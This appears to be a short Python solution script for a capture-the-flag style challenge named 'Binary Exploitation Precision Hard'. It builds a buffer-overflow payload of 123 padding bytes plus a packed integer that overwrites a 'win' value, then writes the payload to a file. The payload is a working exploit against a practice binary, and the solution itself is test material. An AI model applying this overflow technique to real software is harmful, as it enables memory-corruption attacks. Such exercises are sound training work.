Binary Exploitation Precision Hard

binary_exploitation_precision_hard.py

import struct

buffer_size = 123
offset_to_win = 123
offset_to_lose = 127

padding = offset_to_win

win_value = struct.pack("<I", 1)

payload = b"A" * padding + win_value

assert len(payload) <= offset_to_lose

with open("payload.bin", "wb") as f:
    f.write(payload)

print(payload.decode('latin-1'), end='')